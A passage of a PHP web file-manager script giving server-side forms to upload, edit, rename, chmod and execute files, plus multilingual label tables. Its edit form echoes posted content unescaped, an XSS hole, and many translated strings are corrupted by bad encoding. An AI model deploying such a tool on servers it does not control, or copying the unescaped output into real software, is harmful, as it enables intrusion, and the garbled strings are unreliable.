    $actions[] = 'copy';
    echo '		<select class="small" name="action_all" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';
    foreach ($actions as $action) {
        echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
    }
    echo "\t\t</select>\r\n\t\t<input class=\"small\" type=\"submit\" name=\"submit_all\" value=\" &gt; \" onfocus=\"activate('other')\" />\r\n\t</td>\r\n</tr>\r\n";
}
function directory_choice()
{
    global $directory, $homedir, $cols, $self;
    echo '<tr>
	<td colspan="' . $cols . '" id="directory">
		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
	</td>
</tr>
';
}
function upload_box()
{
    global $cols;
    echo '<tr>
	<td colspan="' . $cols . '" id="upload">
		' . word('file') . ':
		<input type="file" name="upload" onfocus="activate(\'other\')" />
		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
	</td>
</tr>
';
}
function create_box()
{
    global $cols;
    echo '<tr>
	<td colspan="' . $cols . '" id="create">
		<select name="create_type" size="1" onfocus="activate(\'create\')">
		<option value="file">' . word('file') . '</option>
		<option value="directory">' . word('directory') . '</option>
		</select>
		<input type="text" name="create_name" onfocus="activate(\'create\')" />
		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
	</td>
</tr>
';
}
function edit($file)
{
    global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
    html_header();
    echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
    if (array_key_exists('content', $_POST)) {
        echo $_POST['content'];
    } else {
        $f = fopen($file, 'r');
        while (!feof($f)) {
            echo html(fread($f, 8192));
        }
        fclose($f);
    }
    if (!empty($_POST['user'])) {
        echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
    }
    if (!empty($_POST['basic_auth'])) {
        if ($win) {
            $authfile = str_replace('\\', '/', $directory) . $htpasswd;
        } else {
            $authfile = $directory . $htpasswd;
        }
        echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
        echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
        echo "Require valid-user";
    }
    echo "</textarea>\r\n\r\n\t<hr />\r\n";
    if ($apache && basename($file) == $htpasswd) {
        echo '
	' . word('user') . ': <input type="text" name="user" />
	' . word('password') . ': <input type="password" name="password" />
	<input type="submit" value="' . word('add') . '" />

	<hr />
';
    }
    if ($apache && basename($file) == $htaccess) {
        echo '
	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

	<hr />
';
    }
    echo '
	<input type="hidden" name="action" value="edit" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<input type="reset" value="' . word('reset') . '" id="red_button" />
	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
    html_footer();
}
function spacer()
{
    global $cols;
    echo '<tr>
	<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';
}
function textfieldsize($content)
{
    $size = strlen($content) + 5;
    if ($size < 30) {
        $size = 30;
    }
    return $size;
}
function request_dump()
{
    foreach ($_REQUEST as $key => $value) {
        echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
    }
}
/* ------------------------------------------------------------------------- */
function html($string)
{
    global $site_charset;
    return htmlentities($string, ENT_COMPAT, $site_charset);
}
function word($word)
{
    global $words, $word_charset;
    return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}
function phrase($phrase, $arguments)
{
    global $words;
    static $search;
    if (!is_array($search)) {
        for ($i = 1; $i <= 8; $i++) {
            $search[] = "%{$i}";
        }
    }
    for ($i = 0; $i < sizeof($arguments); $i++) {
        $arguments[$i] = nl2br(html($arguments[$i]));
    }
    $replace = array('{' => '<pre>', '}' => '</pre>', '[' => '<b>', ']' => '</b>');
    return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
}
function getwords($lang)
{
    global $word_charset, $date_format;
    switch ($lang) {
        case 'de':
            $date_format = 'd.m.y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Verzeichnis", "file" => "Datei", "filename" => "Dateiname", "size" => "Gr\xd9\x90\xd9\x83e", "permission" => "Rechte", "owner" => "Eigner", "group" => "Gruppe", "other" => "Andere", "functions" => "Funktionen", "read" => "lesen", "write" => "schreiben", "execute" => "ausf\xc3\xbchren", "create_symlink" => "Symlink erstellen", "delete" => "l\xd9\x90schen", "rename" => "umbenennen", "move" => "verschieben", "copy" => "kopieren", "edit" => "editieren", "download" => "herunterladen", "upload" => "hochladen", "create" => "erstellen", "change" => "wechseln", "save" => "speichern", "set" => "setze", "reset" => "zur\xc3\xbccksetzen", "relative" => "Pfad zum Ziel relativ", "yes" => "Ja", "no" => "Nein", "back" => "zur\xc3\xbcck", "destination" => "Ziel", "symlink" => "Symbolischer Link", "no_output" => "keine Ausgabe", "user" => "Benutzername", "password" => "Kennwort", "add" => "hinzuf\xc3\xbcgen", "add_basic_auth" => "HTTP-Basic-Auth hinzuf\xc3\xbcgen", "uploaded" => "\"[%1]\" wurde hochgeladen.", "not_uploaded" => "\"[%1]\" konnte nicht hochgeladen werden.", "already_exists" => "\"[%1]\" existiert bereits.", "created" => "\"[%1]\" wurde erstellt.", "not_created" => "\"[%1]\" konnte nicht erstellt werden.", "really_delete" => "Sollen folgende Dateien wirklich gel\xd9\x90scht werden?", "deleted" => "Folgende Dateien wurden gel\xd9\x90scht:\n[%1]", "not_deleted" => "Folgende Dateien konnten nicht gel\xd9\x90scht werden:\n[%1]", "rename_file" => "Benenne Datei um:", "renamed" => "\"[%1]\" wurde in \"[%2]\" umbenannt.", "not_renamed" => "\"[%1] konnte nicht in \"[%2]\" umbenannt werden.", "move_files" => "Verschieben folgende Dateien:", "moved" => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]", "not_moved" => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]", "copy_files" => "Kopiere folgende Dateien:", "copied" => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]", "not_copied" => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]", "not_edited" => "\"[%1]\" kann nicht editiert werden.", "executed" => "\"[%1]\" wurde erfolgreich ausgef\xc3\xbchrt:\n{%2}", "not_executed" => "\"[%1]\" konnte nicht erfolgreich ausgef\xc3\xbchrt werden:\n{%2}", "saved" => "\"[%1]\" wurde gespeichert.", "not_saved" => "\"[%1]\" konnte nicht gespeichert werden.", "symlinked" => "Symbolischer Link von \"[%2]\" nach \"[%1]\" wurde erstellt.", "not_symlinked" => "Symbolischer Link von \"[%2]\" nach \"[%1]\" konnte nicht erstellt werden.", "permission_for" => "Rechte f\xc3\xbcr \"[%1]\":", "permission_set" => "Die Rechte f\xc3\xbcr \"[%1]\" wurden auf [%2] gesetzt.", "permission_not_set" => "Die Rechte f\xc3\xbcr \"[%1]\" konnten nicht auf [%2] gesetzt werden.", "not_readable" => "\"[%1]\" kann nicht gelesen werden.");
        case 'fr':
            $date_format = 'd.m.y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "R\xc3\xa9pertoire", "file" => "Fichier", "filename" => "Nom fichier", "size" => "Taille", "permission" => "Droits", "owner" => "Propri\xc3\xa9taire", "group" => "Groupe", "other" => "Autres", "functions" => "Fonctions", "read" => "Lire", "write" => "Ecrire", "execute" => "Ex\xc3\xa9cuter", "create_symlink" => "Cr\xc3\xa9er lien symbolique", "delete" => "Effacer", "rename" => "Renommer", "move" => "D\xc3\xa9placer", "copy" => "Copier", "edit" => "Ouvrir", "download" => "T\xc3\xa9l\xc3\xa9charger sur PC", "upload" => "T\xc3\xa9l\xc3\xa9charger sur serveur", "create" => "Cr\xc3\xa9er", "change" => "Changer", "save" => "Sauvegarder", "set" => "Ex\xc3\xa9cuter", "reset" => "R\xc3\xa9initialiser", "relative" => "Relatif", "yes" => "Oui", "no" => "Non", "back" => "Retour", "destination" => "Destination", "symlink" => "Lien symbollique", "no_output" => "Pas de sortie", "user" => "Utilisateur", "password" => "Mot de passe", "add" => "Ajouter", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 t\xc3\xa9l\xc3\xa9charg\xc3\xa9 sur le serveur.", "not_uploaded" => "\"[%1]\" n a pas \xc3\xa9t\xc3\xa9 t\xc3\xa9l\xc3\xa9charg\xc3\xa9 sur le serveur.", "already_exists" => "\"[%1]\" existe d\xc3\xa9j\xc3\xa0.", "created" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 cr\xc3\xa9\xc3\xa9.", "not_created" => "\"[%1]\" n a pas pu \xc3\xaatre cr\xc3\xa9\xc3\xa9.", "really_delete" => "Effacer le fichier?", "deleted" => "Ces fichiers ont \xc3\xa9t\xc3\xa9 d\xc3\xa9tuits:\n[%1]", "not_deleted" => "Ces fichiers n ont pu \xc3\xaatre d\xc3\xa9truits:\n[%1]", "rename_file" => "Renomme fichier:", "renamed" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 renomm\xc3\xa9 en \"[%2]\".", "not_renamed" => "\"[%1] n a pas pu \xc3\xaatre renomm\xc3\xa9 en \"[%2]\".", "move_files" => "D\xc3\xa9placer ces fichiers:", "moved" => "Ces fichiers ont \xc3\xa9t\xc3\xa9 d\xc3\xa9plac\xc3\xa9s en \"[%2]\":\n[%1]", "not_moved" => "Ces fichiers n ont pas pu \xc3\xaatre d\xc3\xa9plac\xc3\xa9s en \"[%2]\":\n[%1]", "copy_files" => "Copier ces fichiers:", "copied" => "Ces fichiers ont \xc3\xa9t\xc3\xa9 copi\xc3\xa9s en \"[%2]\":\n[%1]", "not_copied" => "Ces fichiers n ont pas pu \xc3\xaatre copi\xc3\xa9s en \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" ne peut \xc3\xaatre ouvert.", "executed" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 brillamment ex\xc3\xa9cut\xc3\xa9 :\n{%2}", "not_executed" => "\"[%1]\" n a pas pu \xc3\xaatre ex\xc3\xa9cut\xc3\xa9:\n{%2}", "saved" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 sauvegard\xc3\xa9.", "not_saved" => "\"[%1]\" n a pas pu \xc3\xaatre sauvegard\xc3\xa9.", "symlinked" => "Un lien symbolique depuis \"[%2]\" vers \"[%1]\" a \xc3\xa9t\xc3\xa9 cr\xc3\xa9e.", "not_symlinked" => "Un lien symbolique depuis \"[%2]\" vers \"[%1]\" n a pas pu \xc3\xaatre cr\xc3\xa9\xc3\xa9.", "permission_for" => "Droits de \"[%1]\":", "permission_set" => "Droits de \"[%1]\" ont \xc3\xa9t\xc3\xa9 chang\xc3\xa9s en [%2].", "permission_not_set" => "Droits de \"[%1]\" n ont pas pu \xc3\xaatre chang\xc3\xa9s en[%2].", "not_readable" => "\"[%1]\" ne peut pas \xc3\xaatre ouvert.");
        case 'it':
            $date_format = 'd-m-Y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Directory", "file" => "File", "filename" => "Nome File", "size" => "Dimensioni", "permission" => "Permessi", "owner" => "Proprietario", "group" => "Gruppo", "other" => "Altro", "functions" => "Funzioni", "read" => "leggi", "write" => "scrivi", "execute" => "esegui", "create_symlink" => "crea link simbolico", "delete" => "cancella", "rename" => "rinomina", "move" => "sposta", "copy" => "copia", "edit" => "modifica", "download" => "download", "upload" => "upload", "create" => "crea", "change" => "cambia", "save" => "salva", "set" => "imposta", "reset" => "reimposta", "relative" => "Percorso relativo per la destinazione", "yes" => "Si", "no" => "No", "back" => "indietro", "destination" => "Destinazione", "symlink" => "Link simbolico", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "aggiungi", "add_basic_auth" => "aggiungi autenticazione base", "uploaded" => "\"[%1]\" \xc3\xa8 stato caricato.", "not_uploaded" => "\"[%1]\" non \xc3\xa8 stato caricato.", "already_exists" => "\"[%1]\" esiste gi\xc3\xa0.", "created" => "\"[%1]\" \xc3\xa8 stato creato.", "not_created" => "\"[%1]\" non \xc3\xa8 stato creato.", "really_delete" => "Cancello questi file ?", "deleted" => "Questi file sono stati cancellati:\n[%1]", "not_deleted" => "Questi file non possono essere cancellati:\n[%1]", "rename_file" => "File rinominato:", "renamed" => "\"[%1]\" \xc3\xa8 stato rinominato in \"[%2]\".", "not_renamed" => "\"[%1] non \xc3\xa8 stato rinominato in \"[%2]\".", "move_files" => "Sposto questi file:", "moved" => "Questi file sono stati spostati in \"[%2]\":\n[%1]", "not_moved" => "Questi file non possono essere spostati in \"[%2]\":\n[%1]", "copy_files" => "Copio questi file", "copied" => "Questi file sono stati copiati in \"[%2]\":\n[%1]", "not_copied" => "Questi file non possono essere copiati in \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" non pu\xd9\x8d essere modificato.", "executed" => "\"[%1]\" \xc3\xa8 stato eseguito con successo:\n{%2}", "not_executed" => "\"[%1]\" non \xc3\xa8 stato eseguito con successo\n{%2}", "saved" => "\"[%1]\" \xc3\xa8 stato salvato.", "not_saved" => "\"[%1]\" non \xc3\xa8 stato salvato.", "symlinked" => "Il link siambolico da \"[%2]\" a \"[%1]\" \xc3\xa8 stato creato.", "not_symlinked" => "Il link siambolico da \"[%2]\" a \"[%1]\" non \xc3\xa8 stato creato.", "permission_for" => "Permessi di \"[%1]\":", "permission_set" => "I permessi di \"[%1]\" sono stati impostati [%2].", "permission_not_set" => "I permessi di \"[%1]\" non sono stati impostati [%2].", "not_readable" => "\"[%1]\" non pu\xd9\x8d essere letto.");
        case 'nl':
            $date_format = 'n/j/y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Directory", "file" => "Bestand", "filename" => "Bestandsnaam", "size" => "Grootte", "permission" => "Bevoegdheid", "owner" => "Eigenaar", "group" => "Groep", "other" => "Anderen", "functions" => "Functies", "read" => "lezen", "write" => "schrijven", "execute" => "uitvoeren", "create_symlink" => "maak symlink", "delete" => "verwijderen", "rename" => "hernoemen", "move" => "verplaatsen", "copy" => "kopieren", "edit" => "bewerken", "download" => "downloaden", "upload" => "uploaden", "create" => "aanmaken", "change" => "veranderen", "save" => "opslaan", "set" => "instellen", "reset" => "resetten", "relative" => "Relatief pat naar doel", "yes" => "Ja", "no" => "Nee", "back" => "terug", "destination" => "Bestemming", "symlink" => "Symlink", "no_output" => "geen output", "user" => "Gebruiker", "password" => "Wachtwoord", "add" => "toevoegen", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" is verstuurd.", "not_uploaded" => "\"[%1]\" kan niet worden verstuurd.", "already_exists" => "\"[%1]\" bestaat al.", "created" => "\"[%1]\" is aangemaakt.", "not_created" => "\"[%1]\" kan niet worden aangemaakt.", "really_delete" => "Deze bestanden verwijderen?", "deleted" => "Deze bestanden zijn verwijderd:\n[%1]", "not_deleted" => "Deze bestanden konden niet worden verwijderd:\n[%1]", "rename_file" => "Bestandsnaam veranderen:", "renamed" => "\"[%1]\" heet nu \"[%2]\".", "not_renamed" => "\"[%1] kon niet worden veranderd in \"[%2]\".", "move_files" => "Verplaats deze bestanden:", "moved" => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]", "not_moved" => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]", "copy_files" => "Kopieer deze bestanden:", "copied" => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]", "not_copied" => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan niet worden bewerkt.", "executed" => "\"[%1]\" is met succes uitgevoerd:\n{%2}", "not_executed" => "\"[%1]\" is niet goed uitgevoerd:\n{%2}", "saved" => "\"[%1]\" is opgeslagen.", "not_saved" => "\"[%1]\" is niet opgeslagen.", "symlinked" => "Symlink van \"[%2]\" naar \"[%1]\" is aangemaakt.", "not_symlinked" => "Symlink van \"[%2]\" naar \"[%1]\" is niet aangemaakt.", "permission_for" => "Bevoegdheid voor \"[%1]\":", "permission_set" => "Bevoegdheid van \"[%1]\" is ingesteld op [%2].", "permission_not_set" => "Bevoegdheid van \"[%1]\" is niet ingesteld op [%2].", "not_readable" => "\"[%1]\" kan niet worden gelezen.");
        case 'se':
            $date_format = 'n/j/y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Mapp", "file" => "Fil", "filename" => "Filnamn", "size" => "Storlek", "permission" => "S\xd9\x86kerhetsniv\xd9\x87", "owner" => "\xd8\xa4gare", "group" => "Grupp", "other" => "Andra", "functions" => "Funktioner", "read" => "L\xd9\x86s", "write" => "Skriv", "execute" => "Utf\xd9\x90r", "create_symlink" => "Skapa symlink", "delete" => "Radera", "rename" => "Byt namn", "move" => "Flytta", "copy" => "Kopiera", "edit" => "\xd8\xa4ndra", "download" => "Ladda ner", "upload" => "Ladda upp", "create" => "Skapa", "change" => "\xd8\xa4ndra", "save" => "Spara", "set" => "Markera", "reset" => "T\xd9\x90m", "relative" => "Relative path to target", "yes" => "Ja", "no" => "Nej", "back" => "Tillbaks", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "Anv\xd9\x86ndare", "password" => "L\xd9\x90senord", "add" => "L\xd9\x86gg till", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" har laddats upp.", "not_uploaded" => "\"[%1]\" kunde inte laddas upp.", "already_exists" => "\"[%1]\" finns redan.", "created" => "\"[%1]\" har skapats.", "not_created" => "\"[%1]\" kunde inte skapas.", "really_delete" => "Radera dessa filer?", "deleted" => "De h\xd9\x86r filerna har raderats:\n[%1]", "not_deleted" => "Dessa filer kunde inte raderas:\n[%1]", "rename_file" => "Byt namn p\xd9\x87 fil:", "renamed" => "\"[%1]\" har bytt namn till \"[%2]\".", "not_renamed" => "\"[%1] kunde inte d\xd9\x90pas om till \"[%2]\".", "move_files" => "Flytta dessa filer:", "moved" => "Dessa filer har flyttats till \"[%2]\":\n[%1]", "not_moved" => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]", "copy_files" => "Kopiera dessa filer:", "copied" => "Dessa filer har kopierats till \"[%2]\":\n[%1]", "not_copied" => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan inte \xd9\x86ndras.", "executed" => "\"[%1]\" har utf\xd9\x90rts:\n{%2}", "not_executed" => "\"[%1]\" kunde inte utf\xd9\x90ras:\n{%2}", "saved" => "\"[%1]\" har sparats.", "not_saved" => "\"[%1]\" kunde inte sparas.", "symlinked" => "Symlink fr\xd9\x87n \"[%2]\" till \"[%1]\" har skapats.", "not_symlinked" => "Symlink fr\xd9\x87n \"[%2]\" till \"[%1]\" kunde inte skapas.", "permission_for" => "R\xd9\x86ttigheter f\xd9\x90r \"[%1]\":", "permission_set" => "R\xd9\x86ttigheter f\xd9\x90r \"[%1]\" \xd9\x86ndrades till [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" kan inte l\xd9\x86sas.");
        case 'sp':
            $date_format = 'j/n/y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Directorio", "file" => "Archivo", "filename" => "Nombre Archivo", "size" => "Tama\xd9\x8co", "permission" => "Permisos", "owner" => "Propietario", "group" => "Grupo", "other" => "Otros", "functions" => "Funciones", "read" => "lectura", "write" => "escritura", "execute" => "ejecuci\xd9\x8en", "create_symlink" => "crear enlace", "delete" => "borrar", "rename" => "renombrar", "move" => "mover", "copy" => "copiar", "edit" => "editar", "download" => "bajar", "upload" => "subir", "create" => "crear", "change" => "cambiar", "save" => "salvar", "set" => "setear", "reset" => "resetear", "relative" => "Path relativo", "yes" => "Si", "no" => "No", "back" => "atr\xd9\x84s", "destination" => "Destino", "symlink" => "Enlace", "no_output" => "sin salida", "user" => "Usuario", "password" => "Clave", "add" => "agregar", "add_basic_auth" => "agregar autentificaci\xd9\x8en b\xd9\x84sica", "uploaded" => "\"[%1]\" ha sido subido.", "not_uploaded" => "\"[%1]\" no pudo ser subido.", "already_exists" => "\"[%1]\" ya existe.", "created" => "\"[%1]\" ha sido creado.", "not_created" => "\"[%1]\" no pudo ser creado.", "really_delete" => "\xd8\x9fBorra estos archivos?", "deleted" => "Estos archivos han sido borrados:\n[%1]", "not_deleted" => "Estos archivos no pudieron ser borrados:\n[%1]", "rename_file" => "Renombra archivo:", "renamed" => "\"[%1]\" ha sido renombrado a \"[%2]\".", "not_renamed" => "\"[%1] no pudo ser renombrado a \"[%2]\".", "move_files" => "Mover estos archivos:", "moved" => "Estos archivos han sido movidos a \"[%2]\":\n[%1]", "not_moved" => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]", "copy_files" => "Copiar estos archivos:", "copied" => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]", "not_copied" => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" no pudo ser editado.", "executed" => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}", "not_executed" => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}", "saved" => "\"[%1]\" ha sido salvado.", "not_saved" => "\"[%1]\" no pudo ser salvado.", "symlinked" => "Enlace desde \"[%2]\" a \"[%1]\" ha sido creado.", "not_symlinked" => "Enlace desde \"[%2]\" a \"[%1]\" no pudo ser creado.", "permission_for" => "Permisos de \"[%1]\":", "permission_set" => "Permisos de \"[%1]\" fueron seteados a [%2].", "permission_not_set" => "Permisos de \"[%1]\" no pudo ser seteado a [%2].", "not_readable" => "\"[%1]\" no pudo ser le\xd9\x8ado.");
        case 'dk':
            $date_format = 'n/j/y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Mappe", "file" => "Fil", "filename" => "Filnavn", "size" => "St\xd9\x91rrelse", "permission" => "Rettighed", "owner" => "Ejer", "group" => "Gruppe", "other" => "Andre", "functions" => "Funktioner", "read" => "l\xd9\x88s", "write" => "skriv", "execute" => "k\xd9\x91r", "create_symlink" => "opret symbolsk link", "delete" => "slet", "rename" => "omd\xd9\x91b", "move" => "flyt", "copy" => "kopier", "edit" => "rediger", "download" => "download", "upload" => "upload", "create" => "opret", "change" => "skift", "save" => "gem", "set" => "s\xd9\x88t", "reset" => "nulstil", "relative" => "Relativ sti til valg", "yes" => "Ja", "no" => "Nej", "back" => "tilbage", "destination" => "Distination", "symlink" => "Symbolsk link", "no_output" => "ingen resultat", "user" => "Bruger", "password" => "Kodeord", "add" => "tilf\xd9\x91j", "add_basic_auth" => "tilf\xd9\x91j grundliggende rettigheder", "uploaded" => "\"[%1]\" er blevet uploaded.", "not_uploaded" => "\"[%1]\" kunnu ikke uploades.", "already_exists" => "\"[%1]\" findes allerede.", "created" => "\"[%1]\" er blevet oprettet.", "not_created" => "\"[%1]\" kunne ikke oprettes.", "really_delete" => "Slet disse filer?", "deleted" => "Disse filer er blevet slettet:\n[%1]", "not_deleted" => "Disse filer kunne ikke slettes:\n[%1]", "rename_file" => "Omd\xd9\x91d fil:", "renamed" => "\"[%1]\" er blevet omd\xd9\x91bt til \"[%2]\".", "not_renamed" => "\"[%1] kunne ikke omd\xd9\x91bes til \"[%2]\".", "move_files" => "Flyt disse filer:", "moved" => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]", "not_moved" => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]", "copy_files" => "Kopier disse filer:", "copied" => "Disse filer er kopieret til \"[%2]\":\n[%1]", "not_copied" => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan ikke redigeres.", "executed" => "\"[%1]\" er blevet k\xd9\x91rt korrekt:\n{%2}", "not_executed" => "\"[%1]\" kan ikke k\xd9\x91res korrekt:\n{%2}", "saved" => "\"[%1]\" er blevet gemt.", "not_saved" => "\"[%1]\" kunne ikke gemmes.", "symlinked" => "Symbolsk link fra \"[%2]\" til \"[%1]\" er blevet oprettet.", "not_symlinked" => "Symbolsk link fra \"[%2]\" til \"[%1]\" kunne ikke oprettes.", "permission_for" => "Rettigheder for \"[%1]\":", "permission_set" => "Rettigheder for \"[%1]\" blev sat til [%2].", "permission_not_set" => "Rettigheder for \"[%1]\" kunne ikke s\xd9\x88ttes til [%2].", "not_readable" => "\"[%1]\" Kan ikke l\xd9\x88ses.");
        case 'tr':
            $date_format = 'n/j/y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Klas\xd9\x90r", "file" => "Dosya", "filename" => "dosya adi", "size" => "boyutu", "permission" => "Izin", "owner" => "sahib", "group" => "Grup", "other" => "Digerleri", "functions" => "Fonksiyonlar", "read" => "oku", "write" => "yaz", "execute" => "\xc3\xa7alistir", "create_symlink" => "yarat symlink", "delete" => "sil", "rename" => "ad degistir", "move" => "tasi", "copy" => "kopyala", "edit" => "d\xc3\xbczenle", "download" => "indir", "upload" => "y\xc3\xbckle", "create" => "create", "change" => "degistir", "save" => "kaydet", "set" => "ayar", "reset" => "sifirla", "relative" => "Hedef yola g\xd9\x90re", "yes" => "Evet", "no" => "Hayir", "back" => "Geri", "destination" => "Hedef", "symlink" => "K\xe2\x80\x8esa yol", "no_output" => "\xc3\xa7ikti yok", "user" => "Kullanici", "password" => "Sifre", "add" => "ekle", "add_basic_auth" => "ekle basit-authentification", "uploaded" => "\"[%1]\" y\xc3\xbcklendi.", "not_uploaded" => "\"[%1]\" y\xc3\xbcklenemedi.", "already_exists" => "\"[%1]\" kullanilmakta.", "created" => "\"[%1]\" olusturuldu.", "not_created" => "\"[%1]\" olusturulamadi.", "really_delete" => "Bu dosyalari silmek istediginizden eminmisiniz?", "deleted" => "Bu dosyalar silindi:\n[%1]", "not_deleted" => "Bu dosyalar silinemedi:\n[%1]", "rename_file" => "Adi degisen dosya:", "renamed" => "\"[%1]\" adili dosyanin yeni adi \"[%2]\".", "not_renamed" => "\"[%1] adi degistirilemedi \"[%2]\" ile.", "move_files" => "Tasinan dosyalar:", "moved" => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]", "not_moved" => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]", "copy_files" => "Kopyalanan dosyalar:", "copied" => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]", "not_copied" => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" d\xc3\xbczenlenemiyor.", "executed" => "\"[%1]\" basariyla \xc3\xa7alistirildi:\n{%2}", "not_executed" => "\"[%1]\" \xc3\xa7alistirilamadi:\n{%2}", "saved" => "\"[%1]\" kaydedildi.", "not_saved" => "\"[%1]\" kaydedilemedi.", "symlinked" => "\"[%2]\" den \"[%1]\" e k\xe2\x80\x8esayol olu\xe2\x80\x8fturuldu.", "not_symlinked" => "\"[%2]\"den \"[%1]\" e k\xe2\x80\x8esayol olu\xe2\x80\x8fturulamad\xe2\x80\x8e.", "permission_for" => "Izinler \"[%1]\":", "permission_set" => "Izinler \"[%1]\" degistirildi [%2].", "permission_not_set" => "Izinler \"[%1]\" degistirilemedi [%2].", "not_readable" => "\"[%1]\" okunamiyor.");
        case 'cs':
            $date_format = 'd.m.y H:i:s';
            $word_charset = 'UTF-8';
            return array("directory" => "Adres\xd8\xa3\xd8\x8c\xd8\xa5\xe2\x84\xa2", "file" => "Soubor", "filename" => "Jm\xd8\xa3\xc2\xa9no souboru", "size" => "Velikost", "permission" => "Pr\xd8\xa3\xd8\x8cva", "owner" => "Vlastn\xd8\xa3\xc2\xadk", "group" => "Skupina", "other" => "Ostatn\xd8\xa3\xc2\xad", "functions" => "Funkce", "read" => "\xd8\xa4\xc5\x92ten\xd8\xa3\xc2\xad", "write" => "Z\xd8\xa3\xd8\x8cpis", "execute" => "Spou\xd8\xa5\xd8\x8ct\xd8\xa4\xe2\x80\xban\xd8\xa3\xc2\xad", "create_symlink" => "Vytvo\xd8\xa5\xe2\x84\xa2it symbolick\xd8\xa3\xc2\xbd odkaz", "delete" => "Smazat", "rename" => "P\xd8\xa5\xe2\x84\xa2ejmenovat", "move" => "P\xd8\xa5\xe2\x84\xa2esunout", "copy" => "Zkop\xd8\xa3\xc2\xadrovat", "edit" => "Otev\xd8\xa5\xe2\x84\xa2\xd8\xa3\xc2\xadt", "download" => "St\xd8\xa3\xd8\x8chnout", "upload" => "Nahraj na server", "create" => "Vytvo\xd8\xa5\xe2\x84\xa2it", "change" => "Zm\xd8\xa4\xe2\x80\xbanit", "save" => "Ulo\xd8\xa5\xc2\xbeit", "set" => "Nastavit", "reset" => "zp\xd8\xa4\xe2\x80\xbat", "relative" => "Relatif", "yes" => "Ano", "no" => "Ne", "back" => "Zp\xd8\xa4\xe2\x80\xbat", "destination" => "Destination", "symlink" => "Symbolick\xd8\xa3\xc2\xbd odkaz", "no_output" => "Pr\xd8\xa3\xd8\x8czdn\xd8\xa3\xc2\xbd v\xd8\xa3\xc2\xbdstup", "user" => "U\xd8\xa5\xc2\xbeivatel", "password" => "Heslo", "add" => "P\xd8\xa5\xe2\x84\xa2idat", "add_basic_auth" => "p\xd8\xa5\xe2\x84\xa2idej z\xd8\xa3\xd8\x8ckladn\xd8\xa3\xc2\xad autentizaci", "uploaded" => "Soubor \"[%1]\" 